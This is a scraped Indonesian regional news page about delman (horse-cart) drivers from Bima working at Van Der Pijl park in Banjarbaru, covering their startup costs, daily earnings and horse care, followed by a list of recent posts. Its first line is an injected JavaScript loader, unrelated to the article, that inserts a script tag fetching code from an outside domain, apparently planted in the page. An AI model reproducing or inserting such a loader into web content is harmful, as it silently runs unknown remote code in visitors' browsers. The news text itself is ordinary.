(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pariwisata

Modal 30 Juta, Delman di Taman Kota Banjarbaru Ini Datang dari Bima


BANJARBARU, Jika anda berjalan-jalan di taman Van Der Pijl dan sekitarnya anda akan menemukan beberapa buah delman yang sedang parkir di pinggir jalan, atau bahkan ada melihat delman yang sedang mengangkut para pengunjung taman yang ingin menikmati berkeliling Taman Van Der Pijl.

Abdullah, salah satu kusir delman menyampaikan, untuk memulai usaha menjadi kusir dia harus mengeluarkan uang sebesar Rp 30 juta sebagai modal awal. Modal tersebut digunakan untuk membeli kuda seharga Rp 20 juta, sisanya 10 juta lagi untuk membuat delman dan ongkos kirim kuda dari kampung halamannya di Bima, Nusa Tenggara Barat.

Dia menambahkan, usaha sebagai kusir delman di taman Van Der Pijl bergantung pada pengunjung yang datang.  Penghasilan akan banyak kalau pengunjung banyak datang, tapi sedikit kalau pengunjung yang datang sedikit.

“Pengunjung ramai saat akhir pekan atau pada saat libur besar seperti lebaran,” katanya kepada Kanal Kalimantan, Jum’at (30/3).

Pria asal Bima ini juga menambahkan, di hari-hari biasa dia bisa meraup penghasilan Rp 50-100 ribu/hari, tapi kalau akhir pekan atau libur besar bisa saja di atas angka tersebut. Tarif yang dia dan teman-temannya kenakan kepada para pengunjung sebesar Rp 20 ribu untuk sekali keliling memutar Taman Van Der Pijl sampai kembali ke tempat semula.

Dia menambahkan, untuk perawatan kuda, harus menyediakan 6 Kg dedak setiap harinya ditambah rumput, dan seminggu sekali memberikan jamu dan 6 butir telur bebek untuk kudanya.  Saat bekerja membawa pengunjung, dia juga memperhatikan stamina kuda yang menarik delman. “Kalau sudah terlihat larinya kurang, maka segera diistirahatkan dengan kasih minum air campur dedak atau garam maupun gula,” ujarnya.

Ayah dua anak ini mengakui kalau penghasilan sebagai kusir delman bisa dikatakan untuk mencukupi kebutuhan keluarganya. Dia bersama dengan 3 orang temannya saat ditemui Kanal Kalimantan mengakui kalau kebanyakan kusir-kusir delman yang mangkal di tempat mereka berasal dari Bima NTB. “Kalau tidak salah hanya ada beberapa asli Kalimantan Selatan,” tutupnya. (abdullah)

Reporter: Abdullah
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

1 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

2 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

2 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

2 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

3 jam ago

This website uses cookies.